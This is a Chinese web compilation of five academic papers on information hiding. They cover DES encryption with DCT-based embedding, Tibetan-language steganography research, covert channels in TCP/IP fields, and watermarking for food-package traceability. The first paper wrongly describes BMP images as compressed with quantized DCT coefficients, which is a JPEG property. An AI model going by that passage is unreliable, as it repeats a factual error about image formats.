隐藏技术汇总十篇
时间：2022-06-30 09:39:20
序论：好文章的创作是一个不断探索和完善的过程，我们为您推荐十篇隐藏技术范例，希望它们能助您一臂之力，提升您的阅读品质，带来更深刻的阅读感受。
篇（1）
【 中图分类号 】 TN915.08 【 文献标识码 】 A
【 Abstract 】 This paper presents a kind of information hiding technology， first of all， through using DES encryption algorithm to encrypt files， and then through information hiding， encrypted file hidden in the BMP image， the encryption image is exactly the same with the original image， the protection of the data is implemented very well.
【 Keywords 】 information hiding； des； encryption image
1 引言
信息隐藏是上世纪90年代开始兴起的信息安全新技术，并成为信息安全技术研究的热点。传统通信领域为了保证传递的信息能够不被窃听或破坏，常采用密码来保护信息，即让窃听者无法看到或听懂，但是这种技术的缺点是告诉窃听者这就是秘密信息，特别是随着计算机技术的发展，密码的安全性受到很大挑战。而新的信息隐藏技术是将需要传递的秘密信息，隐藏在一个普通的非秘密消息当中，再进行传输，这样即使窃听者窃听了传输的信息，也只会将其当成普通的消息，而不会怀疑或者无法得知是否有秘密信息的存在。
BMP是目前最常见的一种图像格式，采用BMP图像作为隐藏消息的载体具有许多优点。首先，BMP图像格式是互联网上图像传输的事实标准，使用这一图像格式比起其它格式来更不会引起怀疑。其次，BMP压缩造成的和秘密消息嵌入带来的图像质量退化是肉眼很难分辨的。为了更好地保证信息的安全性，本文把文件密码加密和信息隐藏这两种技术结合起来：首先利用DES（Data Encryption Standard）把信息文件进行加密，然后把加密后的文件通过选定的BMP图像以特定算法进行隐藏。
2 信息隐藏算法
信息隐藏把前面的加密信息隐藏在无关紧要的载体BMP图片中，第三方并不知道秘密通信这个事实的存在，也就是将秘密信息本身的存在藏起来，即使得到了载密对象，也看不到存在的秘密信息。
隐藏算法通过对BMP图像中选定的DCT系数进行微小变换，以满足特定的关系来表示一个比特的信息。在提取隐藏的信息时，根据隐藏的逆过程抽取比特信息。其特点是隐藏的数据量较少，但是其抵抗几何变换等攻击的能力较强。
在BMP编码中，量化过程是多对一的映射，它是有损变换过程，如果在量化前嵌入秘密消息，会丢失一些信息，从而导致解码时不能正确的获得秘密信息。因此，BMP图像的隐写算法的基本原理必须在量化后进行。由前所述，人眼对亮度信号比对色差信号更敏感，因此本工作将秘密消息与量化后的Y分量的DCT系数的LSB联系起来，从而达到嵌入和提取秘密信息的目的。
隐藏流程如图1所示，具体分为三步骤。
（1）对BMP图像的压缩数据进行解码，得到量化后的DCT系数。
（2）按照隐写算法的嵌入规则对Y分量的DCT系数进行修改，将要隐藏的秘密消息嵌入到其中。
① 首先对载体图像按照8×8的分块方式进行分块。如果载体图像的行数和列数的像素个数不为8的倍数时，则要进行边界扩充处理，使得行数和列数的像素个数都是8的倍数。设载体图像的行数为ImgHeight，列数为ImgWidth，Y在行和列方向上的采样率分别为SampRate_Y_H和SampRate_Y_V，则整幅图像被分为MCUNum = ImgWidth * ImgHeight / （64 * SampRate_Y_H * SampRate_Y_V）个小块。
② 读入待隐信息文件，把其转换为二进制的位流。设待隐信息文件的长度为FileLength。为了以后提取待隐信息，需要传递文件长度，用2个字节表示，可表示的最大数为65535。这样总的需要隐藏的信息长度 TotalFileLength = FileLength + 2，单位是字节。
③ 对一个MCU，按照对Y分量的DCT系数最低位进行修改。查找预定义的矩阵MIDBAND，该矩阵由数值0，1组成，对其中数值为1的位置修改对应DCT的频率系数：如果当前待隐信息的二进制值为0，则把相应位置的频率系数值的最低为修改为0；如果当前待隐信息的二进制值为1，则把相应位置的频率系数值的最低为修改为1。
④ 对待隐信息文件的二进制流按照③的隐藏方案进行信息隐藏。如果待隐信息文件长度大于载体图片的最大隐藏量，则把待隐信息文件按照最大隐藏量进行分段，然后分批按照隐藏流程处理。
（3）对修改后的DCT系数进行编码，重新生成压缩数据，即载密BMP图像。对于上面分批隐藏的，生成系列载密图像如图2所示。
秘密消息的提取过程是嵌入过程的逆过程，提取算法要和隐写算法相对应。
3 结束语
在网络飞速发展的今天，信息隐藏技术的研究具有现实意义。本文将DES加密技术与信息隐藏技术相融合，将加密后的信息隐藏到最常见的BMP图片中，使整个信息隐藏过程达到比较高的安全级别。信息隐藏技术在商业中的广泛应用，是一个跨多领域、多学科（数字信号处理、图像处理、模式识别、数字通信、多媒体技术、密码学、语音处理等）的技术体系，由于它与具体的应用密切相关，这也决定了信息隐藏技术研究成果的多样性以及信息隐藏技术研究的不完善性，仍有许多技术问题需要解决。但可以相信，随着科学技术越来越发达，信息隐藏将有更加广阔的发展空间。
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篇（2）
中图分类号：TN401 文献标识码：A 文章编号：2095-1302（2014）12-00-05
0 引 言
安全、有效的信息传输对国家安全、社会稳定和人民安居乐业至关重要。网络和多媒体技术的发展，使得信息传输的速度和数量正以惊人的增量发展。然而，信息传输的便利在方便人们的同时也给信息安全带来了隐患，同时也为基于数字载体的秘密信息传输提供了广阔的研究空间。目前，基于载体的秘密信息传输是信息安全领域的一个方兴未艾的研究热点。而基于载体预处理的藏文信息隐藏技术将为信息安全领域提供一些新的数字信息共享和传输理念，特别是藏文的预处理规律、在数字信息中的隐藏规律等，将有助于涉藏秘密通信技术的发展，并可以对民用和商用领域中涉及到藏文内容的传输、共享、存储和提取的通信过程起到安全保护、版权保护及完整性认证的作用，并对国家涉藏领域的网络舆情监控、国内外涉藏敏感信息标注和情感色彩认知起着至关重要的作用。
在藏文信息隐藏技术方面，目前主要涉及的技术有关键字识别、字符识别和提取、韵律认知、语义角色标注、文本资源挖掘和语料抽取等，并以此为基础进行置乱优化。
1 国内外信息隐藏技术研究现状
信息隐藏一直是信息安全领域中保障隐秘信息安全传输和数字信息版权的重要手段，也是近年来国内外学者研究的热点之一。最新的一届ACM信息隐藏和多媒体安全会议（ACM IH&MMSec’13 Workshop）的主要研究内容有信息隐藏算法、多媒体水印和认证、载体运算域的数字信号处理等。其中，信息隐藏算法的设计首先依赖于载体的选择和预处理;关于多媒体水印和认证的研究则将信息隐藏和数字水印的载体范围从数字图像等常见载体拓展到了包括三维模型在内的新型载体上;载体运算域的数字信号处理涉及到了载体预处理时所用的具体方法，如空间域或变换域等。2013年IEEE 图像处理国际会议（IEEE ICIP 2013）的主要研究内容包括图像、音视频和3-D等多媒体的信息隐藏算法和多媒体特征提取和分析等，这两类研究内容均与载体的选取和预处理有关。最新一届信息隐藏国际会议（IH2012）的主要研究内容包括多媒体安全和其他载体的信息隐藏。我国的第十一届全国信息隐藏暨多媒体安全学术大会（CIHW2013）中关于信息隐藏算法的研究内容也主要集中在非常规载体的分析和预处理上。
藏文作为信息隐藏领域一种新的信息格式，对其研究主要局限于藏文操作系统、藏文信息技术标准、藏文信息处理等几个方面[1]，具体内容集中在藏文编码字符集、术语集、拼音辅助集等的建立。
基于载体的秘密通信技术是20世纪90年代中期发展起来的跨领域的学科，而载体的预处理技术一直是其研究的主要方向。对隐藏载体进行预处理，生成信息隐藏嵌入区域是信息隐藏算法中最重要的研究内容之一。从上述国内外各学术会议中关于信息隐藏的参会论文和研讨情况看，各类载体固有特性的研究对预处理技术有着重要的意义，且数字图像依然是主要的一类载体，而三维模型将是未来主要研究的一类非常规载体。下面就对数字图像和三维模型两类载体的预处理技术的研究现状进行阐述。
1.1 数字图像预处理技术研究综述
基于数字图像的信息隐藏技术是信息隐藏学科中重要的技术分支，是目前应用最广、覆盖范围最大的信息隐藏技术手段。在基于数字图像的信息隐藏技术研究中，信息隐藏区域的生成是关系算法性能的重要因素。信息隐藏区域的生成方法主要包括空间域生成法、变换域生成法以及空间域和变换域联合的生成方法。
空间域算法：作为空间域算法中出现最早、操作最简单且应用最广泛的算法，基于位平面分解理论的LSB算法可以直接替换的方式隐藏较大的数据量，刘红翼等提出的一种LSB算法具有容量大、运算量小的特点[2];刘文彬等提出的LSB隐写替换的消息定位方法则可以对此类算法进行检测[3];而IH2012的论文中，有学者运用假设检验理论和含秘载体的奇偶感知特性可有效地检测LSB算法所隐藏的隐秘信息[4，5]，这些研究为藏文信息隐藏中涉及到关于此类算法的抗检测性研究提供了新的待改进方向。张焱等提出的像素值排序和赵彦涛等提出的直方图修改等空间域算法在沿用LSB直接替换的隐藏理念的同时，还提升了鲁棒性，因此也被广泛用于数字图像载体预处理[6，7];随后，杨春芳等提出了针对此类算法的检测方法[8]，这也为针对此类算法抗检测性改进的研究提供了重要依据。此外，上述同类算法中的载体子区域划分思想、内容自适应思想等也对本项目基于载体结构特性建立空间匹配模型的机制提供了方法学上的有力支持[9-13]。
变换域算法：不同于空间域算法直接对载体的空间特性进行修改，变换域预处理方法以修改载体的频率参数来隐藏信息[14]，因此算法的鲁棒性比空间域算法好。在此基础上，唐燕等又对隐秘信息的检测和恢复进行了研究和改进，实现了几乎无需原始参量的半盲提取[15]。尽管变换域算法不具备空间域算法容量大、运算量小和易操作等优势，但是变换域中的多小波理论因其同时具有对称性、短支撑性、二阶消失矩和正交性等特性成为了信号处理中有明显优势且较常用的方法，在前期研究中利用多小波方法将数字图像载体分块后作为嵌入区域，提高了算法的鲁棒性和不可见性[16，17]，这种方法为在藏文信息隐藏研究中建立基于区域能量的阶梯性分布机制提供了一种研究手段。
混合域算法：较单独运用一种空间域或变换域生成隐藏区域并设计信息隐藏算法来看，基于空间域与变换域联合的信息隐藏算法可以兼有多种算法的性能优势。在基于空间域和变换域联合的信息隐藏算法中，空间域的作用体现在数据嵌入的具体操作方面，因为隐藏的实质就是在当前环境下的空间分量上进行数据修改，利用边缘像素值差分（Edged Pixel Value Differencing，EPVD）将载体换算为若干个像素块，以最大斜角的数据修改作为信息隐藏的具体方法[18];利用湿纸码和基于LSBM的双层隐写来对载体进行加1嵌入或减1嵌入[19];另外，国内外许多学者利用调色板理论进行数据嵌入[20，21]。而变换域在载体预处理中的主要作用是生成满足特定需要的信息隐藏环境（区域），主要包括变换后的系数分布以及n阶分量子图等。如对RSV颜色空间的V分量做DCT变换，分块后作为嵌入区域[22];利用视觉显著点技术确定跟踪窗（Regions of Interest，ROI），在ROI的DCT系数上嵌入隐藏信息，并指定某个ROI边缘地图脆弱性标识，嵌入到DWT变换后的含密图像中[23];前期研究中，研究人员利用自适应颜色迁移理论中lαβ域对颜色的控制力，消除了RGB颜色分量的强相关性，并结合GHM能量分区隐藏信息，在不可见性、嵌入信息量和鲁棒性方面均具有较好的表现[24]。
1.2 三维模型预处理技术研究综述
潘志庚等将基于三维模型的信息隐藏预处理方法主要分为空间域算法和变换域算法[25]。这也这为藏文信息隐藏研究提供了新的思路和方法。
空间域算法：空间域算法通常具有易嵌入和盲提取的特点，如直接置换载体的几何信息来隐藏数据是三维模型载体信息隐藏最原始、最直接的方法[26]。为改进此类算法的鲁棒性，引入仿射不变量是有效的措施，如利用具有连续解析性的仿射不变量优化需要置换的顶点[27]、 将稳态锚点通过三角垂心编码解析为聚类元素从而嵌入隐秘信息[28]。此外，基于主元分析的算法也有助于改善空间域算法的鲁棒性，例如可根据主元分析（Primary Component Analysis，PCA）来确定模型的关键位置作为鲁棒区域，并用网格分割法改进鲁棒性和不可见性[29-32]。这类算法也为藏文信息隐藏从载体结构特性进行解析和预处理提供了理论依据。改进型的空间域算法多针对鲁棒性或容量性有所提升，如基于连续解析性的体积矩的盲算法，改善了之前算法对连通性攻击的鲁棒性[33];通过重排顶点和面片在网格文件中的表示信息，利用表示域内的信息进行嵌入使算法具有良好的不可见性和大容量性[34]，但对相似变换以外的攻击不具有鲁棒性。
变换域算法：三维模型预处理的变换域方法大多利用频谱分析将模型信息参数化[35]，对参数进行少量修改后以隐藏信息，其中，基于小波变换的算法可以对规则和非规则网格模型进行小波域参量修改以嵌入较多信息[36]。理论上，变换域算法比空间域算法鲁棒性强，但由于三维模型顶点的天然无序性和不规则性，对其进行频谱分析难度大，导致变换域算法实用性目前较低，因此空间域算法依然是比变换域算法更有实用价值的研究方向[37]。
2 藏文信息隐藏技术研究现状
目前反映藏文信息处理技术最新进展的文献较少，综合以已有的研究成果及相关研究文献，藏文信息处理可划分为藏语信息处理和藏字信息处理两个层次[38，39]。藏语信息处理包括机器翻译、信息检索、信息提取、文本校对、文本生成、文本分类、自动摘要以及藏文字识别和语音识别的后处理等等;而藏字信息处理包括操作系统以及编码字符集、输入技术、字形描述与生成、存储、编辑、排版、字频统计和藏字属性库等。这些研究基础对藏文信息隐藏技术的发展至关重要，是基于载体预处理的藏文信息隐藏的主要技术来源。鉴于藏文的独特构造，以及藏文的特点，目前对藏文秘密信息的预处理技术一般指置乱和加密算法的选择[40]，而置乱使信息变得杂乱无章难以辨认，可以起到加密与改变信息嵌入特性的作用。可用于藏文信息隐藏的置乱算法主要有Arnold变换、幻方矩阵、Gray码变换、混沌序列等方法[41]。其中，Arnold变换算法简单且置乱效果显著，使有意义的数字图像变成像白噪声一样的无意义图像，实现了信息的初步加密和信息结构的调整，在嵌入信息为数字图像时可以很好的应用[42]。幻方置乱的思想基于查表思想，基于数字图像的幻方置乱可降低幻方置乱阶数或以图像块进行置乱，实现置乱效果与系统开销的平衡[43]。Gray是一种具有反射特性和循环特性的单步自补码，它的循环、单步特性消除了随机取数时出现重大误差的可能，它的反射、自补特性使得求反非常方便[44]。混沌的优势在于对初始条件的极端敏感和轨迹在整个空间上的遍历性。根据经典的Shannon置乱与扩散的要求，这些独特的特征使得混沌映射成为信息隐藏嵌入算法的优秀候选[45]。上述传统的置乱算法一般用于正方形图像处理，而经过改进的Arnold算法可直接用于宽高不等的矩形图像而不必进行正方形扩展[46]，这也将是藏文信息隐藏技术所采用的主要置乱方法之一。
3 藏文信息隐藏技术的研究目标、研究内容和要解决的问题
3.1 研究目标
面向藏文安全通信的高性能信息隐藏算法是目前藏文信息隐藏技术的主要目标，包括提出性能出色的、适合藏文通信要求的信息隐藏算法;提出一种具有普适性的高性能信息隐藏嵌入区域生成原则和嵌入规则：
（1） 基于数字图像的藏文信息隐藏算法：提出至少两种基于数字图像的藏文信息隐藏算法，算法将同时满足面向藏文安全的信息隐藏应用所要求的高不可见性（PSNR≥34.90dB）、强鲁棒性（抗击大约69%以下的JPEG2000压缩、35%以下的剪切及常见滤波与加噪）、大容量性（基于彩色图像的信息隐藏信息嵌入率≥18%）以及高感知篡改性（检测隐藏数据是否被篡改能力≥95%）。
（2） 基于三维模型的藏文信息隐藏算法：提出至少一种基于三维模型的藏文信息隐藏算法。算法将同时满足面向藏文安全的信息隐藏应用所要求的高不可见性（RSNR≥69.94dB、En≥70%）、应对一般攻击的强鲁棒性（抗击大约0.10%随机加噪、50-times Laplacian平滑、50%均匀重网格化以及均匀简化等）、大容量性（相对理想的RSNR，嵌入率≥29%）以及低复杂度（根据载体模型几何信息量而变化）。
（3） 普适性信息隐藏嵌入区域生成原则和嵌入规则：利用载体图像能量和复杂度特性，提出基于能量性和复杂度的藏文信息隐藏区域生成原则和嵌入规则，将适应于所有对数字图像处理后有能量区别的图像处理方法，指导设计者利用能量与鲁棒性、复杂度与不可见性的对应关系，研究出同时满足不可见性和鲁棒性的信息隐藏算法。
3.2 研究内容
（1） 藏文信息隐藏区域生成原则与规则研究：数字图像信息隐藏技术的研究核心集中在隐藏区域和嵌入规则的设计上，藏文信息隐藏算法的设计方法和思路就是在选定藏文信息隐藏区域以及制定好信息隐藏规则后，按照一定的顺序将两者进行合理的组织，所以研究藏文信息隐藏区域生成原则以及信息隐藏规则是重点。
（2） 基于数字图像的藏文信息隐藏算法研究：隐藏算法是基于数字图像的信息隐藏技术的研究核心，需按照嵌入域进行划分，对基于空间域和基于变换域的信息隐藏算法分别进行研究，提出单独基于空间域、单独基于变换域以及两者联合应用的数字图像信息隐藏算法。
（3） 基于三维模型的藏文信息隐藏算法研究：首先对三维模型的结构特性和能量特性进行研究，再根据载体模型的特性找出对应的预处理方法。在研究基于空间域和基于变换域的信息隐藏算法的基础上，提出改进型的三维模型信息隐藏算法。主要用于提升载体有效嵌入容量和降低载体视觉失真度。
（4） 载体与藏文秘密信息的一致化方法研究：基于上述研究基础，生成结构和能量差异化子区域，再将藏文秘密信息按照拼音属性进行解析生成信息序列。再利用优化算法使得预处理后的载体信息和藏文秘密信息的解析编码获得最大一致化，从而提高算法性能。
3.3 需解决的关键问题
综合已有的研究，在藏文信息隐藏技术方面，目前需要解决的问题有以下几个方面：
（1） 信息隐藏区域与嵌入规则设计：在具有什么性质的区域内应用什么样的规则进行藏文信息隐藏才可以解决“不可见性与鲁棒性的对立、容量性与抗分析性的对立”问题，是藏文信息隐藏研究领域的关键技术之一。需找出隐藏区域的性质与信息隐藏性能的关系，提出面向藏文信息传输的信息隐藏区域选择的原则与方法;给出在具有具体性质的嵌入区域中的藏文信息隐藏嵌入规则的制定原理和方法;提出大量的藏文信息数据转换思想与方法，以提供形式多样的信息隐藏嵌入规则。
（2） 数字图像载体预处理方法：①多小波理论在载体预处理中的应用。对于数字图像经过多小波变换后所具有的特殊性质，找出多小波变换后数字图像所具有的能量特性与基于数字图像信息隐藏算法性能之间所遵循的规律已有学者进行研究。②颜色空间的性能分析与应用选取。RGB、CMYK、lαβ、YUV以及HSx颜色空间，应用方法以及应用各有优劣势。该技术的应用难点在于为颜色空间在藏文信息隐藏的应用提出完备的应用方案，因为这些颜色空间在藏文信息隐藏技术中的应用目前非常少，应用优劣还处于实验验证阶段，没有理论验证的支持。
（3） 三维网格模型载体预处理方法：骨架抽取和内切球解析技术在藏文信息隐藏算法中的应用。这种方法不涉及顶点数量及坐标的改变和拓扑关系的修改。难点在于寻找一个理想的仿射不变量作为辅助参数以弥补算法对缩放攻击的脆弱性。
（4） 藏文的置乱与遗传优化算法：有的藏文字处理系统把藏文看成是由30个辅音、4个元音、3个上加字、5个下加字共42个藏文字符组成的，而有的则认为由其他数量的字符组成。基于对藏文中加字对发音的影响规律的研究，利用字符与二进制码的解析规则和置乱与优化技术对信息置乱，达到隐藏信息与载体信息的最大匹配度也是一个技术难点。
4 藏文信息隐藏技术研究的新方法
（1）利用载体图像能量和复杂度特性，提出基于能量性和复杂度的藏文信息隐藏区域生成原则和嵌入规则。高能量与强鲁棒、高复杂度与高不可见性的对应关系，从根本上解决藏文信息隐藏算法中不可见性和鲁棒性的对立问题，为面向藏文通信安全的信息隐藏算法的设计给出一种普适性方法。
（2）根据数字图像信息隐藏嵌入区域的生成原则和嵌入规则，提出新的、高性能的数字图像的藏文信息隐藏算法。算法利用lαβ等颜色空间转换以及多小波对载体图像进行的处理，生成具有不同能量特性的嵌入区域，从频率域上满足藏文信息隐藏的应用要求;通过对载体图像进行颜色迁移、矢量解析以及环形处理，从数字图像的空间结构上满足藏文信息隐藏的应用要求。
（3）提出满足三维模型结构特性和能量特性的藏文信息隐藏算法。算法利用局部高度理论和均值偏移理论对载体模型进行预处理，生成具有不同能量特性的嵌入区域，从频域上满足信息隐藏的应用要求;通过对载体图像进行骨架抽取、内切球解析，从空间结构上满足藏文信息隐藏的应用要求。
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篇（3）
中图分类号：TP309 文献标识码：A文章编号：1007-9599 (2011) 14-0000-01
Information Hiding Technology and Implementation Methods
Wang Hao,Yang Bo,Zhang Jian
(Shandong Provincial Military Area Command,Jinan250099,China)
Abstract:Today,the information technology and the computer technology is highly developed,the combination of digital information and the ancient steganography make the digital hiding technology become a new technology,which provides a new way to explore the non-cryptographic security communication.
Keywords:Information hiding technology;Implementation
信息隐藏的思想起源于隐写术，它是一种将秘密信息隐藏于另一个非机密文件内容之中，在传输、存储过程中不被察觉和发现，接收者获得隐藏对象后，按照约定规则还原秘密信息的技术。其道理如同生物学上的保护色，巧妙地将自己伪装隐藏于自然环境中，免于被天敌发现而遭受攻击。
信息隐藏技术可以追溯到远古时代，方法从音符、咒语到五花八门的隐写术，但隐写术发展一直比较缓慢，没有成为一门独立的学科，人们对于信息保密更多的是采用密码技术。直到信息技术和计算机技术高度发达的今天，数字化信息与隐写术相结合，为古老的隐写术注入了新的活力，使得数字化信息隐藏技术成为一门全新的技术，为探索非密码的通信安全提供了新途径。
一、信息隐藏的基本方式
（一）传输隐藏。在视频通信系统中隐藏信息，利用视频通信压缩编码中可利用的资源，在确保不使视频信号质量严重下降的前提下，嵌入压缩的话音编码，形成秘密通信信道。同时数据通信中的IP包和TCP包，均有未使用的保留空间，可用来传输隐藏信息。另外，IP包的时间戳也可传送1个比特的数据。
（二）载体隐藏。在文本文件、图像文件及可执行文件中插入秘密信息，可实现信息隐藏。利用话音信号的自然冗余性，将秘密信息直接编码到文件内容中去，或将其编码到文本格式中，形成以文本为载体的信息隐藏。将秘密信息插入图像文件中对人的视觉系统不敏感的比特位，在不影响图像质量的前提下实现信息隐藏。利用可执行文件中的冗余信息，加载秘密信息。
（三）存储隐藏。利用计算机系统中保留或未使用的空间保存秘密信息，为隐藏信息提供另外一种方式，通过创建隐藏分区、使用操作系统分配给文件但未使用的空间来隐藏信息。同一个计算机系统中不同安全级别的两台主机，根据预先约定的规则，通过存储特定数据也可传递信息。级别高的主机在特定区域存储不同大小、不同名称的文件，级别低的主机虽不能访问数据，但可从文件列表获取所要的信息。
二、信息隐藏的实现方法
（一）基于替换的信息隐藏方法。基于替换的信息隐藏，就是用秘密信息比特替换掉伪装载体中不重要的比特，实现对秘密信息的隐藏。如果这种嵌入的信息在传输过程中不被察觉，接收者就可从秘密信息嵌入的位置提取出秘密信息。常用的替换方法：一是最低比特位替换。就是利用图像位平面最低几位比特对人的视觉系统不敏感的特性，将这些比特替换成秘密信息的相应比特。利用此种方法可在伪装载体中隐藏大量秘密信息而不被察觉。二是伪随机置换。就是把秘密信息比特近似随机地分散在整个载体中。用伪随机数发生器产生索引序列，并在以此为索引的载体元素中插入秘密信息。利用此种方法插入比特的顺序无规律可找，因而增加了被攻击的复杂度。三是载体区域和奇偶校验位替换。将载体伪随机地分成若干个不相接的载体区域，在每个区域的奇偶校验位上嵌入一个信息比特，若奇偶校验位与信息比特不匹配，则区域中所有值最低一个比特位反转，使二者相等，在译码过程中计算出所有区域的奇偶校验位，排列起来重构信息。四是量化和抖动替换。利用数字图像的抖动和量化处理过程插入秘密信息。运用预测编码的量化误差，通过调整差分信号Δi来传送秘密信息。五是OSI网络协议帧结构替换。就是将秘密信息插入TCP/IP包中未使用的空间，形成一个秘密的通信信道。
篇（4）
DOI：10.16640/ki.37-1222/t.2016.11.135
0 引言
随着科技的进步，通信技术的飞跃式发展，计算机互联网的迅速普及，使得越来越多的人和公司通过网络传输大量的数据文件，但是由于互联网具有连接形式多样性以及开放性和互联性，使得这些互联网上传输的数据文件很容易受到攻击或窃取，如果涉及国家安全和军队建设乃至个人的隐私信息方面，信息安全问题将变的更加敏感。查阅文献，发现现阶段研究人员关注的热点有俩个，即信息加密和信息隐藏，其中信息隐藏就是把需要传递的秘密信息进行伪装，隐藏在普通文件中，即使文件被攻击、窃取，也不易发现其中的隐藏信息，可以有效的加强信息在传输过程中的安全性，因此有必要对信息隐藏技术进行进一步的研究。
1 信息隐藏技术的含义
信息隐藏是利用人类对多媒体数字信号不敏感，将秘密信息隐藏在一个不被关注的多媒体信号中，这样敏感信息不会被发现，而且也不会影响到多媒体信号的感觉效果和使用价值，当我们利用这样的技术传输敏感信息时，可以对第三方起到混淆的作用。一般来说隐秘信息的载体选择有多种类型，比如我们经常见到的图像、声音、视频还有文档都可以作为敏感信息的载体，这样做的目的是不引人注目，其次即使载体信息被截获，也很难对隐藏信息进行提取，安全性得到了极大的提高。
2 信息隐藏的具体方法
参考传统加密技术方法，我们有保留的基础上对信息隐藏技术进行了一定的改进。常用的具体方法有数字水印技术、叠像技术以及替声技术等。其中，叠像技术是1994年提出的可视密码术（VisualCryptography），用有意义的明文图像代替原来的随机噪声图象，使之更具安全性。数字水印（Digital Watermarking）技术是将一些标识信息（即数字水印）直接嵌入数字载体中，但不影响原载体的使用价值，也不容易被人的知觉系统觉察。通过这些隐藏在载体中的信息，可以达到确认内容创建者、购买者、传送隐秘信息或者判断载体是否被篡改等目的。替声技术与叠像技术很相似，它是通过对声音信息的处理，使得原来的对象和内容都发生改变，从而达到将真正的声音信息隐藏起来的目的。替声技术可以用于制作安全电话，使用这种电话，可以对通信内容加以保密。
（1）替换技术。把秘密信息伪装成载体荣誉部分，进行替换后载体的可视性并没有被破坏，常用的手段有最小有效位替换、伪装随机替换，载体的奇偶位对换，图像的调色板替换等。
（2）变换技术。将秘密信息做正交变换，利用扩频技术把变换后的秘密信息隐藏到载体的变换域中。这种技术的优点是，它通过不同的空间频率敏感的感官系统来确定秘密信息具体的嵌入位置及嵌入强度，有效的对嵌入信息进行了隐藏。
（3）扩频技术。当对隐藏秘密信息的载体做过滤操作的时候，秘密信息可能被部分过滤，造成秘密信息丢失。在嵌入秘密信息时进行多次重复的代码扩展，对载体进行过滤时，秘密信息保留的概率大大增加。信息数据率高许多倍伪随机码把包含基带信号的频谱数据进行扩展，形成宽频带低功率谱密度的信号。
3 信息隐藏的特点
信息隐藏有不同的分支，但所有分支都有很多共同的特点。第一，信息隐藏系统必须保证隐藏信息的不可见性，即在把秘密信息嵌入载体的过程中不能留下任何的痕迹，如果这一过程影响到图像质量，图像信息嵌入价值将减少，信息隐藏系统安全性降低。 其次，在对载体进行矢量变换操作以后，载体中的隐藏信息任然可以保持完整，并可以极大的概率被提取。 第三，要实现隐藏信息在载体中的不可见性，隐藏信息的长度与载体的长度必须保持一个适度的量，因为载体容量与信息隐藏率是正比关系的。 第四，要足够安全，即攻击者不能有效的读取和修改载体中的秘密信息。
4 网络通信中信息隐藏技术的应用
网络通信中往往根据信息载体的不同，利用文本、语音、视频以及二进制的隐写，把秘密信息隐藏在具体的公开转播的数字多媒体信号中，使得秘密信息可以在网络中进行安全有效的传输的一种技术。
（1）数据保密。在公司之间进行谈判时，可能会利用网络传递一些敏感的信息，比如双方的协议、合同、报价等重要文件，包括数字签名，为了保护这些敏感信息的安全性，可以把这些信息以隐藏的形式传递给对方，这样我们就可以在非相关人员难以发觉的状态下完成彼此信息交流。
（2）数据的不可抵赖性。在网络上进行谈判，签订协议等行为，由于不能互相见面，为保证双方不能否认自己做过的承诺并且接受对方传递的条款，需要在传递的信息中加入签名水印，确认其行为目的。
（3）数据的完整性。为保证我们接收到的信息是真实的，没有在网络传递的过程中被篡改，可以在传递的具体多媒体数据中嵌入一个完整信息，收到多媒体数据后可以对完整信息进行提取，用于确定此多媒体数据是否被篡改。
信息隐藏技术是目前学术界倍受关注的一个热点领域，由于现代通信技术的爆炸式发展，互联网飞速普及，每时每刻都有海量的信息在网络上传输，对敏感信息安全进行保护变的更加具有现实意义。在众多研究人员的不懈努力下，信息隐藏技术取得很多的成果，但是，信息隐藏技术作为一个跨学科的技术体系，我们对它的研究还不是很完善，还有许多的问题没有解决。信息隐藏技术的成熟性、实用性还与密码加密的网络传输技术相比较，还有很大差距。但是，其潜在价值是无法估量的，在未来甚至是不可不取代的，我们相信，随着技术的进一步发展，信息隐藏技术将涌现出更多的思路和办法，将对信息安全系统的未来扮演重要的角色。
参考文献：
[1]王育民，张彤，黄继武.信息隐藏――理论与技术[M].北京清华大学出版社，2006.
篇（5）
追溯码的隐藏技术
1.数字水印技术
数字水印是基于内容的非密码机制的信息隐藏技术，通过对数据的内容做微量修改来嵌入水印信息，从而达到信息隐藏的目的。该过程不影响原来数据的正常使用，不改变原媒体的外观，是迄今为止唯一可以跨媒体应用的信息安全与防伪技术。嵌入的水印信息可以通过技术软件或者特定的设备提取出来。当前，在国际研究领域中盛行的数字水印技术是采用信号分析的理论，通过傅里叶变换、小波变换等手法，寻求肉眼不易发现的地方埋入信息。一个完整的数字水印系统包括两个阶段，即水印信息的嵌入和水印信息的提取。在食品包装印刷中运用数字水印的原理与在普通数字媒体中运用的原理基本上是一样的，只不过印刷品是以半色调的网点来再现连续调原稿的层次和颜色变化，而在提取或检测水印过程中要对印刷品进行扫描，在扫描中有一个模/数转换过程。因此在数字水印嵌入和提取或检测过程中，必须结合半色调加网技术和模/数转换的算法，把追溯码作为水印以视觉不可见的形式隐藏在食品包装印刷中，通过特定的检测设备就能提取到追溯码的信息，进行食品的安全追溯。
2.隐形光栅防伪技术
隐形光栅防伪技术是基于半色调图像加网技术与光栅材料的光学折射特性相结合的防伪方法。该方法主要用于对半色调图像进行防伪设置，半色调图像经过防伪处理后，隐藏在图像中的信息只能通过特定的光栅才能看到，如图1所示。该方法简便易行，对设备及印刷工艺没有太高的要求，在不增加生产成本的情况下即可达到防伪的目的，因此该防伪技术有较好的发展前景。
隐形光栅防伪技术又叫开锁防伪技术，隶属于版纹防伪技术。它是利用光线的干涉原理，通过线条的变化来表现隐藏文字和图像等信息，加上制作的膜片，稍稍调整角度即可使隐藏信息显现出来的一种防伪技术。隐形光栅防伪技术属于二线防伪技术，也是隐藏防伪技术，需要工具才能检验。该技术的设计在制版中完成，在印刷中实现，不增加额外的制作成本，其素材在选择上不受限制，制作形式极为广泛。它是一种利用光学原理进行信息隐藏的技术，使用相应的解码设备解码后可以显示出事先设计的隐含信息，起到了一定的防伪效果，非常适合运用到食品的外包装上。
3. 二维码技术
早期国际上普遍采用印刷EAN.UCC一维条码来嵌入追溯信息，它最大的优点在于简化输入，使用条码读取设备就可方便地进行信息输入，但是由于一维码存储的信息量小，在一定程度上使其应用范围受限，因此产生了二维码（Dimensional Barcode），图2为市面上见到的一些二维码。二维码是在两个方向（垂直和水平）上进行的编码和解码，使用平面（二维方向上）分布的图形来记录数据符号信息的，在代码编制上巧妙地利用构成计算机内部逻辑基础的“0”、“1”比特流的概念，使用若干个与二进制相对应的几何形体来表示文字数值信息，这大幅增加了编码容量以及完善了编码加密机制，从而拓展了它的应用范围。通过图像输入设备或光电扫描设备就可以自动识读以实现信息的自动处理。
